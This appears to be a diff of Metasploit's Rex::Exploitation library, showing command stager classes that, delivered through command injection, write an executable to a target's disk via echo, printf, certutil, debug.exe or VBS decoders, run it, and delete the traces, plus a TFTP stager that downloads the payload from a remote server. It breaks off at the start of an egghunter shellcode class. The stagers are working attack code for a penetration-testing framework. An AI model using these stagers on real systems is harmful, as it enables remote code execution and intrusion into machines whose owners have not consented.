@cmd_end = ">>'#{@tempdir}#{@var_encoded}'"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Simple base64...
|
||||
#
|
||||
def encode_payload(opts)
|
||||
Rex::Text.encode_base64(@exe)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
|
||||
cmds = []
|
||||
parts.each do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
cmds
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the commands that will decode the file we just created
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
decoders = [
|
||||
"base64 --decode -",
|
||||
"openssl enc -d -A -base64 -in /dev/stdin",
|
||||
"python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
|
||||
"perl -MMIME::Base64 -ne 'print decode_base64($_)'"
|
||||
]
|
||||
decoder_cmd = []
|
||||
decoders.each do |cmd|
|
||||
binary = cmd.split(' ')[0]
|
||||
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
|
||||
end
|
||||
decoder_cmd = decoder_cmd.join(" || ")
|
||||
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'"
|
||||
[ decoder_cmd ]
|
||||
end
|
||||
|
||||
def compress_commands(cmds, opts)
|
||||
# Make it all happen
|
||||
cmds << "chmod +x '#{@tempdir}#{@var_decoded}'"
|
||||
# Background the process, allowing the cleanup code to continue and delete the data
|
||||
# while allowing the original shell to continue to function since it isn't waiting
|
||||
# on the payload to exit. The 'sleep' is required as '&' is a command terminator
|
||||
# and having & and the cmds delimiter ';' next to each other is invalid.
|
||||
if opts[:background]
|
||||
cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2"
|
||||
else
|
||||
cmds << "'#{@tempdir}#{@var_decoded}'"
|
||||
end
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
cmds << "rm -f '#{@tempdir}#{@var_decoded}'"
|
||||
cmds << "rm -f '#{@tempdir}#{@var_encoded}'"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,115 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to create a sequence of commands from an executable.
|
||||
# When this sequence is ran via command injection or a shell, the resulting exe will
|
||||
# be written to disk and executed.
|
||||
#
|
||||
# This particular version uses Windows certutil to base64 decode a file,
|
||||
# created via echo >>, and decode it to the final binary.
|
||||
#
|
||||
#
|
||||
# Written by xistence
|
||||
# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
|
||||
#
|
||||
###
|
||||
|
||||
class CmdStagerCertutil < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_encoded = Rex::Text.rand_text_alpha(5)
|
||||
@var_decoded = Rex::Text.rand_text_alpha(5)
|
||||
@decoder = nil # filled in later
|
||||
end
|
||||
|
||||
|
||||
# Override just to set the extra byte count
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [Array] The complete command line
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
# Simple base64 encoder for the executable
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [String] Base64 encoded executable
|
||||
def encode_payload(opts)
|
||||
Rex::Text.encode_base64(@exe)
|
||||
end
|
||||
|
||||
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it.
|
||||
# @param parts [Array] Splitted commands
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [Array] The command line
|
||||
def parts_to_commands(parts, opts)
|
||||
|
||||
cmds = []
|
||||
parts.each do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
cmds
|
||||
end
|
||||
|
||||
|
||||
# Generate the commands that will decode the file we just created
|
||||
# @param opts [Array] The options to generate the command line
|
||||
# @return [Array] The certutil Base64 decoder part of the command line
|
||||
def generate_cmds_decoder(opts)
|
||||
|
||||
cmds = []
|
||||
cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
|
||||
return cmds
|
||||
end
|
||||
|
||||
|
||||
# We override compress commands just to stick in a few extra commands
|
||||
# last second..
|
||||
# @param cmds [Array] Complete command line
|
||||
# @param opts [Array] Extra options for command line generation
|
||||
# @return [Array] The complete command line including cleanup
|
||||
def compress_commands(cmds, opts)
|
||||
# Make it all happen
|
||||
cmds << "#{@tempdir}#{@var_decoded}.exe"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
||||
# NOTE: We won't be able to delete the exe while it's in use.
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Windows uses & to concat strings
|
||||
#
|
||||
# @return [String] Concat operator
|
||||
def cmd_concat_operator
|
||||
" & "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,140 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to create a sequence of commands from an executable.
|
||||
# When this sequence is ran via command injection or a shell, the resulting exe will
|
||||
# be written to disk and executed.
|
||||
#
|
||||
# This particular version uses debug.exe to assemble a small COM file. The COM will
|
||||
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
||||
#
|
||||
# Requires: debug.exe
|
||||
#
|
||||
# Written by Joshua J. Drake
|
||||
#
|
||||
###
|
||||
|
||||
class CmdStagerDebugAsm < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat"
|
||||
@var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com"
|
||||
@var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat"
|
||||
@var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
|
||||
@decoder = nil # filled in later
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Override just to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_payload_in}"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Simple hex encoding...
|
||||
#
|
||||
def encode_payload(opts)
|
||||
ret = @exe.unpack('H*')[0]
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
|
||||
cmds = []
|
||||
parts.each do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
cmds
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate the commands that will decode the file we just created
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
|
||||
# Allow decoder stub override (needs to input base64 and output bin)
|
||||
@decoder = opts[:decoder] if (opts[:decoder])
|
||||
|
||||
# Read the decoder data file
|
||||
f = File.new(@decoder, "rb")
|
||||
decoder = f.read(f.stat.size)
|
||||
f.close
|
||||
|
||||
# Replace variables
|
||||
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
|
||||
decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
|
||||
# NOTE: these two filenames MUST 8+3 chars long.
|
||||
decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
|
||||
decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")
|
||||
|
||||
# Split it apart by the lines
|
||||
decoder.split("\n")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# We override compress commands just to stick in a few extra commands
|
||||
# last second..
|
||||
#
|
||||
def compress_commands(cmds, opts)
|
||||
# Convert the debug script to an executable...
|
||||
cvt_cmd = ''
|
||||
if (@tempdir != '')
|
||||
cvt_cmd << "cd %TEMP% && "
|
||||
end
|
||||
cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
|
||||
cmds << cvt_cmd
|
||||
|
||||
# Convert the encoded payload...
|
||||
cmds << "#{@tempdir}#{@var_decoder_com}"
|
||||
|
||||
# Make it all happen
|
||||
cmds << "start #{@tempdir}#{@var_payload_out}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
cmds << "del #{@tempdir}#{@var_decoder_asm}"
|
||||
cmds << "del #{@tempdir}#{@var_decoder_com}"
|
||||
cmds << "del #{@tempdir}#{@var_payload_in}"
|
||||
# XXX: We won't be able to delete the payload while it is running..
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Windows uses & to concat strings
|
||||
def cmd_concat_operator
|
||||
" & "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,134 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to create a sequence of commands from an executable.
|
||||
# When this sequence is ran via command injection or a shell, the resulting exe will
|
||||
# be written to disk and executed.
|
||||
#
|
||||
# This particular version uses debug.exe to write a small .NET binary. That binary will
|
||||
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
||||
#
|
||||
# Requires: .NET, debug.exe
|
||||
#
|
||||
###
|
||||
|
||||
class CmdStagerDebugWrite < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_bypass = Rex::Text.rand_text_alpha(8)
|
||||
@var_payload = Rex::Text.rand_text_alpha(8)
|
||||
@decoder = nil # filled in later
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Override just to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_payload}"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Simple hex encoding...
|
||||
#
|
||||
def encode_payload(opts)
|
||||
@exe.unpack('H*')[0]
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
|
||||
cmds = []
|
||||
parts.each do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
cmds
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate the commands that will decode the file we just created
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
|
||||
# Allow decoder stub override (needs to input base64 and output bin)
|
||||
@decoder = opts[:decoder] if (opts[:decoder])
|
||||
|
||||
# Read the decoder data file
|
||||
f = File.new(@decoder, "rb")
|
||||
decoder = f.read(f.stat.size)
|
||||
f.close
|
||||
|
||||
# Replace variables
|
||||
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")
|
||||
|
||||
# Split it apart by the lines
|
||||
decoder.split("\n")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# We override compress commands just to stick in a few extra commands
|
||||
# last second..
|
||||
#
|
||||
def compress_commands(cmds, opts)
|
||||
# Convert the debug script to an executable...
|
||||
cvt_cmd = ''
|
||||
if (@tempdir != '')
|
||||
cvt_cmd << "cd %TEMP% && "
|
||||
end
|
||||
cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
|
||||
cmds << cvt_cmd
|
||||
|
||||
# Rename the resulting binary
|
||||
cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"
|
||||
|
||||
# Converting the encoded payload...
|
||||
cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"
|
||||
|
||||
# Make it all happen
|
||||
cmds << "start #{@tempdir}#{@var_payload}.exe"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
cmds << "del #{@tempdir}#{@var_bypass}.exe"
|
||||
cmds << "del #{@tempdir}#{@var_payload}"
|
||||
# XXX: We won't be able to delete the payload while it is running..
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Windows uses & to concat strings
|
||||
def cmd_concat_operator
|
||||
" & "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,167 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerEcho < CmdStagerBase
|
||||
|
||||
ENCODINGS = {
|
||||
'hex' => "\\\\x",
|
||||
'octal' => "\\\\"
|
||||
}
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_elf = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
#
|
||||
# Override to ensure opts[:temp] is a correct *nix path
|
||||
# and initialize opts[:enc_format].
|
||||
#
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
|
||||
unless opts[:temp].empty?
|
||||
opts[:temp].gsub!(/\\/, '/')
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
end
|
||||
|
||||
# by default use the 'hex' encoding
|
||||
opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s
|
||||
|
||||
unless ENCODINGS.keys.include?(opts[:enc_format])
|
||||
raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo "
|
||||
unless opts[:noargs]
|
||||
@cmd_start += "-en "
|
||||
end
|
||||
|
||||
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
|
||||
@prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]]
|
||||
min_part_size = 5 # for both encodings
|
||||
|
||||
if (opts[:linemax] - opts[:extra]) < min_part_size
|
||||
raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Encode into a format that echo understands, where
|
||||
# interpretation of backslash escapes are enabled. For
|
||||
# hex, it'll look like "\\x41\\x42", and octal will be
|
||||
# "\\101\\102\\5\\41"
|
||||
#
|
||||
def encode_payload(opts)
|
||||
case opts[:enc_format]
|
||||
when 'octal'
|
||||
return Rex::Text.to_octal(@exe, @prefix)
|
||||
else
|
||||
return Rex::Text.to_hex(@exe, @prefix)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before ("echo -en ") / after (">>file") it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
parts.map do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmd
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Since the binary has been already dropped to fs, just execute and
|
||||
# delete it
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
cmds = []
|
||||
# Make it all happen
|
||||
cmds << "chmod 777 #{@tempdir}#{@var_elf}"
|
||||
#cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
||||
end
|
||||
|
||||
return cmds
|
||||
end
|
||||
|
||||
#
|
||||
# Override it to ensure that the hex representation of a byte isn't cut
|
||||
#
|
||||
def slice_up_payload(encoded, opts)
|
||||
encoded_dup = encoded.dup
|
||||
|
||||
parts = []
|
||||
xtra_len = opts[:extra]
|
||||
xtra_len ||= 0
|
||||
while (encoded_dup.length > 0)
|
||||
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
||||
# cut the end of the part until we reach the start
|
||||
# of a full byte representation "\\xYZ" or "\\YZX"
|
||||
temp = fix_last_byte(temp, opts, encoded_dup)
|
||||
parts << temp
|
||||
encoded_dup.slice!(0, temp.length)
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
def fix_last_byte(part, opts, remaining="")
|
||||
fixed_part = part.dup
|
||||
|
||||
case opts[:enc_format]
|
||||
when 'hex'
|
||||
while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix)
|
||||
fixed_part.chop!
|
||||
end
|
||||
when 'octal'
|
||||
if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix
|
||||
pos = fixed_part.rindex('\\')
|
||||
pos -= 1 if fixed_part[pos-1] == '\\'
|
||||
fixed_part.slice!(pos..fixed_part.length-1)
|
||||
end
|
||||
end
|
||||
|
||||
return fixed_part
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,122 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerPrintf < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_elf = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
#
|
||||
# Override to ensure opts[:temp] is a correct *nix path
|
||||
#
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp].gsub!(/\\/, '/')
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
if opts[:noquotes]
|
||||
@cmd_start = "printf "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_elf}"
|
||||
@prefix = '\\\\'
|
||||
min_part_size = 5
|
||||
else
|
||||
@cmd_start = "printf '"
|
||||
@cmd_end = "'>>#{@tempdir}#{@var_elf}"
|
||||
@prefix = '\\'
|
||||
min_part_size = 4
|
||||
end
|
||||
xtra_len = @cmd_start.length + @cmd_end.length
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
|
||||
if (opts[:linemax] - opts[:extra]) < min_part_size
|
||||
raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Encode into a "\12\345" octal format that printf understands
|
||||
#
|
||||
def encode_payload(opts)
|
||||
return Rex::Text.to_octal(@exe, @prefix)
|
||||
end
|
||||
|
||||
#
|
||||
# Override it to ensure that the octal representation of a byte isn't cut
|
||||
#
|
||||
def slice_up_payload(encoded, opts)
|
||||
encoded_dup = encoded.dup
|
||||
|
||||
parts = []
|
||||
xtra_len = opts[:extra]
|
||||
xtra_len ||= 0
|
||||
while (encoded_dup.length > 0)
|
||||
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
|
||||
|
||||
# remove the last octal escape if it is imcomplete
|
||||
if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
|
||||
pos = temp.rindex('\\')
|
||||
pos -= 1 if temp[pos-1] == '\\'
|
||||
temp.slice!(pos..temp.length-1)
|
||||
end
|
||||
|
||||
parts << temp
|
||||
encoded_dup.slice!(0, temp.length)
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before and after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
parts.map do |p|
|
||||
@cmd_start + p + @cmd_end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Since the binary has been already dropped to disk, just execute and
|
||||
# delete it
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
cmds = []
|
||||
# Make it all happen
|
||||
cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
cmds << "rm -f #{@tempdir}#{@var_elf}"
|
||||
end
|
||||
|
||||
return cmds
|
||||
end
|
||||
|
||||
def cmd_concat_operator
|
||||
" ; "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,71 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to create a sequence of commands from an executable.
|
||||
# When this sequence is ran via command injection or a shell, the resulting exe will
|
||||
# be written to disk and executed.
|
||||
#
|
||||
# This particular version uses tftp.exe to download a binary from the specified
|
||||
# server. The original file is preserve, not encoded at all, and so this version
|
||||
# is significantly simpler than other methods.
|
||||
#
|
||||
# Requires: tftp.exe, outbound udp connectivity to a tftp server
|
||||
#
|
||||
# Written by Joshua J. Drake
|
||||
#
|
||||
###
|
||||
|
||||
class CmdStagerTFTP < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
|
||||
end
|
||||
|
||||
def setup(mod)
|
||||
self.tftp = Rex::Proto::TFTP::Server.new
|
||||
self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
||||
self.tftp.start
|
||||
mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
|
||||
end
|
||||
|
||||
def teardown(mod = nil)
|
||||
self.tftp.stop
|
||||
end
|
||||
|
||||
#
|
||||
# We override compress commands just to stick in a few extra commands
|
||||
# last second..
|
||||
#
|
||||
def compress_commands(cmds, opts)
|
||||
# Initiate the download
|
||||
cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
|
||||
|
||||
# Make it all happen
|
||||
cmds << "start #{@tempdir + @payload_exe}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
# XXX: We won't be able to delete the payload while it is running..
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# NOTE: We don't use a concatenation operator here since we only have a couple commands.
|
||||
# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
|
||||
# the start command being issued separately so that it can ignore it :)
|
||||
attr_reader :exe
|
||||
attr_reader :payload_exe
|
||||
attr_accessor :tftp
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,126 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to create a sequence of commands from an executable.
|
||||
# When this sequence is ran via command injection or a shell, the resulting exe will
|
||||
# be written to disk and executed.
|
||||
#
|
||||
# This particular version uses Windows Scripting (VBS) to base64 decode a file,
|
||||
# created via echo >>, and decode it to the final binary.
|
||||
#
|
||||
# Requires: Windows Scripting
|
||||
# Known Issue: errors with non-ascii-native systems
|
||||
#
|
||||
# Written by bannedit
|
||||
#
|
||||
###
|
||||
|
||||
class CmdStagerVBS < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_decoder = Rex::Text.rand_text_alpha(5)
|
||||
@var_encoded = Rex::Text.rand_text_alpha(5)
|
||||
@var_decoded = Rex::Text.rand_text_alpha(5)
|
||||
@decoder = nil # filled in later
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Override just to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo "
|
||||
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
||||
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Simple base64...
|
||||
#
|
||||
def encode_payload(opts)
|
||||
Rex::Text.encode_base64(@exe)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it.
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
|
||||
cmds = []
|
||||
parts.each do |p|
|
||||
cmd = ''
|
||||
cmd << @cmd_start
|
||||
cmd << p
|
||||
cmd << @cmd_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
cmds
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate the commands that will decode the file we just created
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
|
||||
# Allow decoder stub override (needs to input base64 and output bin)
|
||||
@decoder = opts[:decoder] if (opts[:decoder])
|
||||
|
||||
# Read the decoder data file
|
||||
f = File.new(@decoder, "rb")
|
||||
decoder = f.read(f.stat.size)
|
||||
f.close
|
||||
|
||||
# Replace variables
|
||||
decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
|
||||
decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
|
||||
decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
|
||||
|
||||
# Split it apart by the lines
|
||||
decoder.split("\n")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# We override compress commands just to stick in a few extra commands
|
||||
# last second..
|
||||
#
|
||||
def compress_commands(cmds, opts)
|
||||
# Make it all happen
|
||||
cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
if (not opts[:nodelete])
|
||||
cmds << "del #{@tempdir}#{@var_decoder}.vbs"
|
||||
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
||||
# NOTE: We won't be able to delete the exe while it's in use.
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Windows uses & to concat strings
|
||||
def cmd_concat_operator
|
||||
" & "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,423 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'metasm'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to generating egghunters. Egghunters are
|
||||
# used to search process address space for a known byte sequence. This is
|
||||
# useful in situations where there is limited room for a payload when an
|
||||
# overflow occurs, but it's possible to stick a larger payload somewhere else
|
||||
# in memory that may not be directly predictable.
|
||||
#
|
||||
# Original implementation by skape
|
||||
# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
|
||||
#
|
||||
# Checksum checking implemented by dijital1/corelanc0d3r
|
||||
# Checksum code merged to Egghunter by jduck
|
||||
# Conversion to use Metasm by jduck
|
||||
# Startreg code added by corelanc0d3r
|
||||
# Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
|
||||
# Added support for searchforward option (true or false)
|
||||
#
|
||||
###
|
||||
class Egghunter
|
||||
|
||||
###
|
||||
#
|
||||
# Windows-based egghunters
|
||||
#
|
||||
###
|
||||
module Windows
